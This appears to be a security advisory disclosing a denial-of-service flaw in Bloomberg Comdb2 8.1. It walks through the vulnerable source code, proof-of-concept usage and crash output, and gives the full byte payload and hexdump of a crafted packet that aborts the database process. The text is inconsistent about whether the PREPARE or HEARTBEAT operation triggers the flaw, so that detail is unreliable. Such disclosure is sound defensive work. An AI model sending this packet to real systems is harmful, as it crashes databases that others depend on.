CVE-2025-36512
A denial of service vulnerability exists in the Bloomberg Comdb2 8.1 database when handling a distributed transaction heartbeat. A specially crafted protocol buffer message can lead to a denial of service. An attacker can simply connect to a database instance over TCP and send the crafted message to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Bloomberg Comdb2 8.1
Comdb2 - https://bloomberg.github.io/comdb2/
7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE-617 - Reachable Assertion
Comdb2 is an open source, high-availability database that is developed by Bloomberg. It supports features such as clustering, transactions, snapshots, and isolation. The implementation of the database utilizes optimistic locking for concurrent operation.
The Comdb2 database system is based on two major services. The first service, pmux
, is a port multiplexer that is used to dynamically assign port numbers for different instances of the database. This service is implemented via a plaintext protocol and can be queried to identify the TCP port number that a specific database is listening on. The second service is the native comdb2
binary and is run for each instance of the desired database. The comdb2
binary is responsible for registering an available instance to the port multiplexing service. Communication with a Comdb2 instance is primarily handled by exchanging data with the client using the Google’s Protocol Buffers data format over a TCP session.
During startup, the comdb2
binary will execute the following function to assign callbacks that will be dispatched depending on the command initial command that is sent. Thus, when receiving a newline-delimited “newsql” string, the handle_newsql_request_evbuffer
function will be called at [1] in response.
plugins/newsql/newsql_evbuffer.c:1275-1282
static int newsql_init(void *arg)
{
dispatch_base = get_dispatch_event_base();
Pthread_create(&gethostname_thd, NULL, gethostname_fn, NULL);
add_appsock_handler("newsql\n", handle_newsql_request_evbuffer); // [1]
add_appsock_handler("@newsql\n", handle_newsql_admin_request_evbuffer);
return 0;
}
Then, when receiving a connection from a client the following accept_info_new
function will be called. At [2], a new event that calls the do_read
function will be created and dispatched to when the socket fd
is ready for reading.
net/net_evbuffer.c:848-866
static struct accept_info *accept_info_new(netinfo_type *netinfo_ptr, struct sockaddr_in *addr, int fd, int secure,
int badrte)
{
check_base_thd();
if (pending_connections > max_pending_connections) {
close_oldest_pending_connection();
}
++pending_connections;
struct accept_info *a = calloc(1, sizeof(struct accept_info));
a->netinfo_ptr = netinfo_ptr;
a->ss = *addr;
a->fd = fd;
a->secure = secure;
a->badrte = badrte;
a->ev = event_new(base, fd, EV_READ, do_read, a); // [2]
event_add(a->ev, NULL);
TAILQ_INSERT_TAIL(&accept_list, a, entry);
return a;
}
The implementation of the do_read
function is basically a wrapper that reads a newline-delimited string from the socket fd
prior to decoding the protocol buffer required to communicate with the client. First, the do_appsock_evbuffer
function will be called at [3]. This function will process the “appsock” part of the protocol by extracting all the characters at [4], until encountering a newline. At [5], the implementation will check that the string “newsql” was found within the data read from the socket and follow it with another check that sets pbadrte
to 1 and returns if the string “rte “ was found at the beginning. Once those tests have been verified, the entire newline-delimited string will be used at [6] to determine the correct handler callback to use for the rest of the protocol which will then get dispatched at [7].
net/net_evbuffer.c:2912-2949
static void do_read(int fd, short what, void *data)
{
check_base_thd();
struct accept_info *a = data;
struct evbuffer *buf = evbuffer_new();
ssize_t n = evbuffer_read(buf, fd, SBUF2UNGETC_BUF_MAX);
...
uint8_t first_byte;
evbuffer_copyout(buf, &first_byte, 1);
if (first_byte == 0) {
evbuffer_drain(buf, 1);
a->buf = buf;
rd_connect_msg_len(fd, 0, a);
return;
}
...
if ((do_appsock_evbuffer(buf, &ss, fd, 0, secure, &badrte)) == 0) // [3] \
return;
if (badrte)
accept_info_new(netinfo_ptr, &ss, fd, secure, 1);
else
handle_appsock(netinfo_ptr, &ss, first_byte, buf, fd);
}
\
net/net_evbuffer.c:2864-2910
static int do_appsock_evbuffer(struct evbuffer *buf, struct sockaddr_in *ss, int fd, int is_readonly, int secure,
int *pbadrte)
{
struct appsock_info *info = NULL;
struct evbuffer_ptr b = evbuffer_search(buf, "\n", 1, NULL); // [4] Search buffer until newline encountered
...
if (b.pos != -1) {
char key[b.pos + 2];
evbuffer_copyout(buf, key, b.pos + 1);
key[b.pos + 1] = 0;
if (secure && strstr(key, "newsql") == NULL) { // [5] ensure that "newsql" is in line.
logmsg(LOGMSG_ERROR, "appsock '%s' disallowed on secure port\n", key);
return 1;
}
if (strcmp(key, "rte ") == 0) { // [5] ensure that "rte " is in line.
evbuffer_read(buf, fd, -1);
evbuffer_free(buf);
ssize_t rc = write(fd, "0\n", 2);
if (rc == 2 && pbadrte)
*pbadrte = 1;
return 1;
}
info = get_appsock_info(key); // [6] Look up the key that was read.
}
if (info == NULL) return 1;
...
evtimer_once(arg->base, info->cb, arg); /* handle_newsql_request_evbuffer */ // [7] Dispatch to handle_newsql_request_evbuffer
return 0;
}
After finding the correct “appsock” handler and dispatching to it, the following function, handle_newsql_request_evbuffer
, will be called. This function is responsible for signalling the gethostname_cond
condition at [8] which will result in activating the gethostname_fn
function. Afterwards at [9], the “libevent” library will be used to dispatch to the newsql_setup_clnt_evbuffer
function. At the end of the newsql_setup_clnt_evbuffer
function at [10], the implementation will finally call the rd_hdr
function to begin reading the information sent by the client.
plugins/newsql/newsql_evbuffer.c:1261-1266
static void handle_newsql_request_evbuffer(int dummyfd, short what, void *data)
{
struct appsock_handler_arg *arg = data;
arg->admin = 0;
gethostname_enqueue(arg); // [8] Signal a condition
}
\
plugins/newsql/newsql_evbuffer.c:1251-1259
static void gethostname_enqueue(struct appsock_handler_arg *arg)
{
gettimeofday(&arg->start, NULL);
Pthread_mutex_lock(&gethostname_lk);
TAILQ_INSERT_TAIL(&gethostname_list, arg, entry);
++gethostname_ctr;
Pthread_cond_signal(&gethostname_cond); // [8] Signal "gethosname_cond" \\
Pthread_mutex_unlock(&gethostname_lk);
}
\\
plugins/newsql/newsql_evbuffer.c:1208-1249
static void *gethostname_fn(void *arg)
{
int max_pending = 8;
struct timeval start, last_report;
gettimeofday(&last_report, NULL);
comdb2_name_thread("gethostname");
while (1) {
Pthread_mutex_lock(&gethostname_lk);
if (TAILQ_EMPTY(&gethostname_list)) {
Pthread_cond_wait(&gethostname_cond, &gethostname_lk); // [8] Block on "gethostname_cond" condition
}
...
evtimer_once(arg->base, newsql_setup_clnt_evbuffer, arg); // [9] \ Dispatch into newsql_setup_clnt_evbuffer
}
}
\
plugins/newsql/newsql_evbuffer.c:1139-1200
static void newsql_setup_clnt_evbuffer(int fd, short what, void *data)
{
struct appsock_handler_arg *arg = data;
...
newsql_setup_clnt(clnt);
plugin_set_callbacks_newsql(evbuffer);
if (add_appsock_connection_evbuffer(clnt) != 0) {
exhausted_appsock_connections(clnt);
free_newsql_appdata_evbuffer(-1, 0, appdata);
} else {
rd_hdr(-1, 0, appdata); // [10] read header
}
free(arg);
}
The function, rd_hdr
, is then responsible for initially reading the header for the entire packet. The structure of the header is composed of four 32-bit integers that are encoded in network byte order. At [11], the length of data that is available for the socket is verified that it has enough space to include the header structure, newsqlheader
. After reading enough data from the socket, each field of the header structure will be converted to the host byte order before being used at [12]. Once the length from the header is decoded at [13], the rd_hdr
function will call rd_payload
at [14] to decode the protocol buffer that comes after the newsqlheader
.
cdb2api/cdb2api.c:948-953
struct newsqlheader {
int type;
int compression;
int state; /* query state */
int length;
};
plugins/newsql/newsql_evbuffer.c:888-910
static void rd_hdr(int dummyfd, short what, void *arg)
{
struct newsqlheader hdr;
struct newsql_appdata_evbuffer *appdata = arg;
if (evbuffer_get_length(appdata->rd_buf) >= sizeof(struct newsqlheader)) {
goto hdr; // [11] check length before reading the header.
}
...
hdr:
evbuffer_remove(appdata->rd_buf, &hdr, sizeof(struct newsqlheader));
appdata->hdr.type = ntohl(hdr.type); // [12] Decode the type from the newsqlheader
appdata->hdr.compression = ntohl(hdr.compression); // [12] Decode the compression type (unused) from the newsqlheader
appdata->hdr.state = ntohl(hdr.state); // [12] Decode the state from the header (unused)
appdata->hdr.length = ntohl(hdr.length); // [13] Decode the protocol buffer length
rd_payload(-1, 0, appdata); // [14] Read the protocol buffer payload
}
The following function, rd_payload
, is directly responsible for decoding a protocol buffer that was sent by the client. This function is similar to rd_hdr
in that it checks the length of data that is available and then proceeds to read the contents of its payload from socket. At [14], the length that was read earlier from the header is used with the evbuffer_pullup
function at [15] to read the entire serialized protocol buffer data into the query
variable of type CDB2QUERY
. At [16], this populated structure is then passed to the process_newsql_payload
function.
plugins/newsql/newsql_evbuffer.c:860-886
static void rd_payload(int dummyfd, short what, void *arg)
{
CDB2QUERY *query = NULL;
struct newsql_appdata_evbuffer *appdata = arg;
if (evbuffer_get_length(appdata->rd_buf) >= appdata->hdr.length) {
goto payload;
}
...
payload:
if (appdata->hdr.length) {
int len = appdata->hdr.length; // [14] get length from header.
void *data = evbuffer_pullup(appdata->rd_buf, len); // [15] read entire packet from client
if (data == NULL || (query = cdb2__query__unpack(&pb_alloc, len, data)) == NULL) {
newsql_cleanup(appdata);
return;
}
evbuffer_drain(appdata->rd_buf, len);
}
process_newsql_payload(appdata, query); // [16] process deserialized protocol buffer
}
The implementation of the process_newsql_payload
function is directly responsible for reading a query that is submitted by a client. This is done by using the “type” field from the header to determine the query request type and dispatch to the correct function. Specifically, the process_cdb2query
function is called at [17] to process a query request.
plugins/newsql/newsql_evbuffer.c:839-858
static void process_newsql_payload(struct newsql_appdata_evbuffer *appdata, CDB2QUERY *query)
{
rem_lru_evbuffer(&appdata->clnt); /* going to work; not eligible for shutdown */
switch (appdata->hdr.type) {
case CDB2_REQUEST_TYPE__CDB2QUERY:
process_cdb2query(appdata, query); // [17] process the actual query
break;
case CDB2_REQUEST_TYPE__RESET:
newsql_reset_evbuffer(appdata);
evtimer_once(appdata->base, rd_hdr, appdata);
break;
case CDB2_REQUEST_TYPE__SSLCONN:
process_ssl_request(appdata);
break;
default:
logmsg(LOGMSG_ERROR, "%s bad type:%d fd:%d\n", __func__, appdata->hdr.type, appdata->fd);
newsql_cleanup(appdata);
break;
}
}
The following function, process_cdb2query
contains the logic that is responsible for decoding the CDB2QUERY
type into its corresponding fields from the protocol buffer sent by the client. At [18] and [19], the implementation will dereference the “disttxn” and “dbinfo” fields from the protocol buffer. If neither of these fields have been included, the implementation will then pass the entire query to the process_query
function at [20].
plugins/newsql/newsql_evbuffer.c:707-732
static void process_cdb2query(struct newsql_appdata_evbuffer *appdata, CDB2QUERY *query)
{
if (!query) {
newsql_cleanup(appdata);
return;
}
CDB2DISTTXN *disttxn = query->disttxn; // [18] Dereference the "disttxn" field of the protocol buffer
CDB2DBINFO *dbinfo = query->dbinfo; // [19] Dereference the "dbinfo" field of the protocol buffer
if (!dbinfo && !disttxn) {
appdata->query = query;
process_query(appdata); // [20] Process the "query" field of the protocol buffer
return;
}
if (dbinfo) { // [19] Process the "dbinfo" field of the protocol buffer
if (dbinfo->has_want_effects && dbinfo->want_effects) {
process_get_effects(appdata);
} else {
process_dbinfo(appdata);
}
}
if (disttxn) { // [18] Process the "disttxn" field of the protocol buffer
process_disttxn(appdata, disttxn);
}
cdb2__query__free_unpacked(query, &pb_alloc);
}
The following is a description of the CDB2DISTTXN
protocol buffer message that is referenced by the “disttxn” field. In this message at [21] is an optional field, “disttxn”, that contains a value of the nested Disttxn
protocol buffer message at [22]. The Disttxn
protocol buffer message contains only three required fields with the rest being treated as optional. If an optional field is not included, the deserialization of the protocol buffer will either set the field’s value to NULL
or clear a flag so that an implementer can know that the field was not included.
message CDB2_DISTTXN {
required string dbname = 1;
message Disttxn { // [22] "Disttxn" protocol buffer message
required int32 operation = 1;
required bool async = 2;
required string txnid = 3;
optional string name = 4;
optional string tier = 5;
optional string master = 6;
optional int32 rcode = 7;
optional int32 outrc = 8;
optional string errmsg = 9;
}
optional Disttxn disttxn = 2; // [21] "disttxn"
}
When processing the “disttxn” field from the CDB2QUERY
type, the following process_disttxn
function will be used. This function will use the “operation” field found in the CDB2DISTTXN
protocol buffer to determine the case that will be responsible for performing an operation. To trigger this denial-of-service, the “PREPARE” operation will be used which will result in using some of the optional fields from the CDB2DISTTXN
protocol buffer with the osql_prepare
function at [23].
plugins/newsql/newsql_evbuffer.c:633-705
static void process_disttxn(struct newsql_appdata_evbuffer *appdata, CDB2DISTTXN *disttxn)
{
struct evbuffer *buf = sql_wrbuf(appdata->writer);
CDB2DISTTXNRESPONSE response = CDB2__DISTTXNRESPONSE__INIT;
int rcode = 0;
if (!bdb_amimaster(thedb->bdb_env) || bdb_lock_desired(thedb->bdb_env)) {
rcode = -1;
goto sendresponse;
}
switch (disttxn->disttxn->operation) {
/* Coordinator master tells me (participant master) to prepare */
case (CDB2_DIST__PREPARE): // [23] case that calls "osql_prepare"
rcode = osql_prepare(disttxn->disttxn->txnid, disttxn->disttxn->name, disttxn->disttxn->tier,
disttxn->disttxn->master);
break;
...
}
...
}
The following implementation of the osql_prepare
function is used when a “PREPARE” option is specified by client using the CDB2DISTTXN
protocol buffer message. At [24] in the beginning of the function, the function’s parameters which contain the optional fields from the Disttxn
message are handed off to the osql_sanction_disttxn
function. The osql_sanction_disttxn
function will start by checking if the specified transaction id exists at [25] and then fetching the transaction if so. If the transaction id was not found, then it will be instantiated at [26] before adding it to the sanctioned_hash
hash table. After the registration of the transaction id has happened, the implementation will call the enable_dist_heartbeats
function at [27]. This function is just a wrapper that signals an event and calls the do_enable_dist_heartbeats
function at [28].
db/osqlsession.c:312-363
int osql_prepare(const char *dist_txnid, const char *coordinator_dbname, const char *coordinator_tier,
const char *coordinator_master)
{
int dispatch = 0, rc;
unsigned long long rqid;
uuid_t uuid;
if ((rc = osql_sanction_disttxn(dist_txnid, &rqid, &uuid, coordinator_dbname, coordinator_tier, // [24] \ pass optional fields
coordinator_master)) == 0) {
logmsg(LOGMSG_INFO, "%s: coordinator beat participant prepare dist-txn %s\n", __func__, dist_txnid);
return 0;
}
...
}
\
db/disttxn.c:2179-2222
int osql_sanction_disttxn(const char *dist_txnid, unsigned long long *rqid, uuid_t *uuid,
const char *coordinator_dbname, const char *coordinator_tier, const char *coordinator_master)
{
if (gbl_debug_disttxn_trace) {
logmsg(LOGMSG_USER, "DISTTXN %s dist_txnid %s\n", __func__, dist_txnid);
}
int rtn = 0;
sanctioned_t *sanc;
Pthread_mutex_lock(&sanc_lk);
sanc = hash_find(sanctioned_hash, &dist_txnid); // [25] check if the transaction id exists
if (sanc != NULL) {
(*rqid) = sanc->rqid;
comdb2uuidcpy((*uuid), sanc->uuid); // [26] if transaction id was found
sanc->sanctioned = 1;
...
rtn = 1;
} else {
sanc = (sanctioned_t *)calloc(sizeof(*sanc), 1); // [26] allocate new transaction
sanc->dist_txnid = strdup(dist_txnid);
sanc->coordinator_dbname = strdup(coordinator_dbname);
sanc->coordinator_tier = strdup(coordinator_tier);
sanc->coordinator_master = strdup(coordinator_master);
sanc->sanctioned = 1;
sanc->hbeats.sanc = sanc;
hash_add(sanctioned_hash, sanc); // [26] add the transaction id
rtn = 0;
}
...
enable_dist_heartbeats(&sanc->hbeats); // [27] \ enable heartbeats for the transaction id
Pthread_mutex_unlock(&sanc_lk);
return rtn;
}
\
net/net_evbuffer.c:2129-2132
int enable_dist_heartbeats(dist_hbeats_type *dt)
{
return event_base_once(dist_base, -1, EV_TIMEOUT, do_enable_dist_heartbeats, dt, NULL); // [28] do_enable_dist_heartbeats
}
The following implementation of the do_enable_dist_heartbeats
function is responsible for the denial-of-service described by this document. The purpose of this function is to create a distributed heartbeat event that will dispatch to the dist_heartbeat
function. At [29], the function will first check if the event has already been created. If it does not yet exist, then the assignment at [30] will allocate the event before attaching a 2-second timeout at [31] prior to returning. It is worth noting that the condition at [29] will call abort(3)
if the event for the transaction id has already been allocated. Thus, if more than one packet for the same transaction is sent within the 2-second interval for the event, the first packet will initialize the ev_hbeats
field, whereas the second packet will trigger the condition for abort(3)
terminating the comdb2
process and resulting in a denial-of-service condition.
net/net_evbuffer.c:2110-2127
static void do_enable_dist_heartbeats(int dummyfd, short what, void *data)
{
dist_hbeats_type *dt = data;
check_dist_thd();
if (dt->ev_hbeats) // [29] check if the event exists, aborting if so.
abort();
dt->ev_hbeats = event_new(dist_base, -1, EV_PERSIST, dist_heartbeat, dt); // [30] create a new event and assign it.
if (!dt->ev_hbeats) {
logmsg(LOGMSG_ERROR, "Failed to create new event for dist_heartbeat\n");
return;
}
dt->tv.tv_sec = 2;
dt->tv.tv_usec = 0;
event_add(dt->ev_hbeats, &dt->tv); // [31] add a timeout for the event.
}
In the following snippet, the proof of concept is being run against the database that is listening on localhost.
$ python poc.zip localhost
enumerating services from localhost via pmux...
discovered 1 service:
[1] comdb2/replication/testdb : tcp/19000
selected service at index 1 : {'port': '19000', 'name': 'comdb2/replication/testdb'}
[20250513192713.865] <psocket.py+440> INFO psocket.SendContext :> Sending appsock.newsql [1] (7 bytes)...
[20250513192713.865] <psocket.py+442> INFO psocket.SendContext :- Sent appsock.newsql [1] (7 bytes).
[20250513192713.866] <psocket.py+440> INFO psocket.SendContext :> Sending appsock.newsql [2] (7 bytes)...
[20250513192713.866] <psocket.py+442> INFO psocket.SendContext :- Sent appsock.newsql [2] (7 bytes).
[20250513192713.920] <psocket.py+440> INFO psocket.SendContext :> Sending cdb2_query [1] (119 bytes)...
[20250513192713.921] <psocket.py+442> INFO psocket.SendContext :- Sent cdb2_query [1] (119 bytes).
[20250513192713.972] <psocket.py+440> INFO psocket.SendContext :> Sending cdb2_query [2] (119 bytes)...
[20250513192713.973] <psocket.py+442> INFO psocket.SendContext :- Sent cdb2_query [2] (119 bytes).
The following is the output of the process when running the proof-of-concept.
bdb_open_int line 6103 calling rep_start as master with egen 430
new_master_callback_int: master:.invalid->ce66cbfc0193 old-gen:0->430 old-egen:0->431
I AM NEW MASTER NODE ce66cbfc0193
Collecting table aliases
user authentication disabled (bdberr: 15)
DBA user 'dba' already exists
hostname:ce66cbfc0193 cname:ce66cbfc0193
I AM READY.
[ERROR] osql_prepare couldn't find session 0 00000000-0000-0000-0000-000000000000
Aborted
In order to run the proof-of-concept, a database instance must be created in order to run the comdb2
service. The database will then be registered into the pmux
service when it starts up.
After everything is loaded, the pmux
service listens on port 5105 by default. This service allows one to query a list of the databases that have been registered and determine their port number.
To use the proof-of-concept, Python must be available. The proof-of-concept has two variations of connecting to the target database. The first variation connects to the pmux
service and picks the first database that is available. This is selected using the “–pmux” option followed by the hostname that the pmux
service is listening on. The following command line connects to the pmux service at “hostname” using the default port (5105/tcp).
$ python poc.zip --pmux hostname
The second variation will connect directly to the database port and requires the user to specify the database name using the “-b” parameter. The following command line will connect to the database named “testdb” at “hostname” on port 19000.
$ python poc.zip -b testdb hostname:19000
When running the first variation of the proof-of-concept, a client will likely query the pmux
service to determine the port number associated with a database instance. The pmux
service is a plain-text and newline-delimited protocol. The following 5-byte packet requests the pmux
service to list all of the ports that are being used by databases.
[0] <instance pmux.command<char_t> 'unnamed_7fccc5169c70'> {unnamed=True} (5) 'used\n'
Afterwards, the pmux
service will respond with the list of database instances that are available. If one database named “testdb” is currently instantiated, the response will look like the following.
[0] <instance pmux.newlined<char_t> 'unnamed_7fccb55b40b0'> {unnamed=True} (44) 'port 19000 name comdb2/replication/testdb\n'
Once the port number for the target database instance has been determined, the proof-of-concept will send a header that is used to encapsulate a protocol buffer message. This header has the following format. Within the header, only the 32-bit “type” field is used. This type can be 1, 2, 3, 108, or 121. The proof-of-concept triggers this vulnerability by setting the “type” to 1.
<class comdb2.newsql_request_header> 'header'
[0] <instance be(comdb2.sqlquery.CDB2RequestType) 'type'> CDB2QUERY(0x1)
[4] <instance be(comdb2.int) 'compression'> 0x00000000 (0)
[8] <instance be(comdb2.int) 'state'> 0x00000000 (0)
After the header, a 32-bit length field will be sent along with the protocol buffer payload. This has the following layout.
<class comdb2.newsql_request> 'unnamed_7fccb55b66f0' {unnamed=True}
[0] <instance comdb2.newsql_request_header 'header'> type=CDB2QUERY(0x1) : compression=0x00000000 : state=0x00000000
[c] <instance be(comdb2.int) 'length'> 0x00000067 (103)
[10] <instance protobuf.MESSAGE 'payload'> protobuf.TAGVALUE[1] "\x22\x65\x0a\x06\x74\x65\x73\x74\x64\x62\x12\x5b\x08\x01\x10\x01\x1a\x20\x25\x28\x2b\x59\x35\x28\x30\x6e\x24\x63\x58\x3d\x65\x6f\x6e\x4b\x30\x2a\x5d\x3e\x23\x3d\x79\x6f\x70\x3c\x57\x2c\x7a\x64\x61\x74\x22\x06\x74\x65\x73\x74\x64\x62\x2a\x20\x4e\x4f\x2d\x3d\x66\x59\x64\x74\x73\x37\x5c\x7c\x71\x3c\x69\x26\x42\x67\x35\x34\x41\x73\x36\x4f\x45\x76\x3f\x69\x32\x31\x57\x42\x32\x09\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74"
[77] <instance ptype.block 'extra'> ...
The protocol buffer payload has the following format. The field that is important is the “Disttxn.operation” field which can be any of the values specified by CDB2Dist
. The specific operation used by this vulnerability is “HEARTBEAT”. Relevant to this vulnerability is the “Disttxn.txnid” field which is usually a UUID, but can be any number of bytes. If two “HEARTBEAT” protocol buffer messages are sent with the same transaction number, then this vulnerability is being triggered.
comdb2/protobuf/sqlquery.proto:143-148
message CDB2_QUERY {
optional CDB2_SQLQUERY sqlquery = 1;
optional CDB2_DBINFO dbinfo = 2;
optional string spcmd = 3;
optional CDB2_DISTTXN disttxn = 4;
}
comdb2/protobuf/sqlquery.proto:43-53
enum CDB2Dist {
PREPARE = 1;
DISCARD = 2;
PREPARED = 3;
FAILED_PREPARE = 4;
COMMIT = 5;
ABORT = 6;
PROPAGATED = 7;
HEARTBEAT = 8;
}
comdb2/protobuf/sqlquery.proto:127-142
message CDB2_DISTTXN {
required string dbname = 1;
message Disttxn {
required int32 operation = 1;
required bool async = 2;
required string txnid = 3;
optional string name = 4;
optional string tier = 5;
optional string master = 6;
optional int32 rcode = 7;
optional int32 outrc = 8;
optional string errmsg = 9;
}
optional Disttxn disttxn = 2;
}
The following is a hexdump of the entire packet against the database “testdb” listening on “localhost” with a random 32-byte transaction id.
00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 67 ...............g
10 22 65 0a 06 74 65 73 74 64 62 12 5b 08 01 10 01 "e..testdb.[....
20 1a 20 25 28 2b 59 35 28 30 6e 24 63 58 3d 65 6f . %(+Y5(0n$cX=eo
30 6e 4b 30 2a 5d 3e 23 3d 79 6f 70 3c 57 2c 7a 64 nK0*]>#=yop<W,zd
40 61 74 22 06 74 65 73 74 64 62 2a 20 4e 4f 2d 3d at".testdb* NO-=
50 66 59 64 74 73 37 5c 7c 71 3c 69 26 42 67 35 34 fYdts7\|q<i&Bg54
60 41 73 36 4f 45 76 3f 69 32 31 57 42 32 09 6c 6f As6OEv?i21WB2.lo
70 63 61 6c 68 6f 73 74 calhost
2025-06-02 - Initial Vendor Contact
2025-06-05 - Vendor Disclosure
2025-06-09 - Vendor Patch Release
2025-07-22 - Public Release
Discovered by a member of Cisco Talos.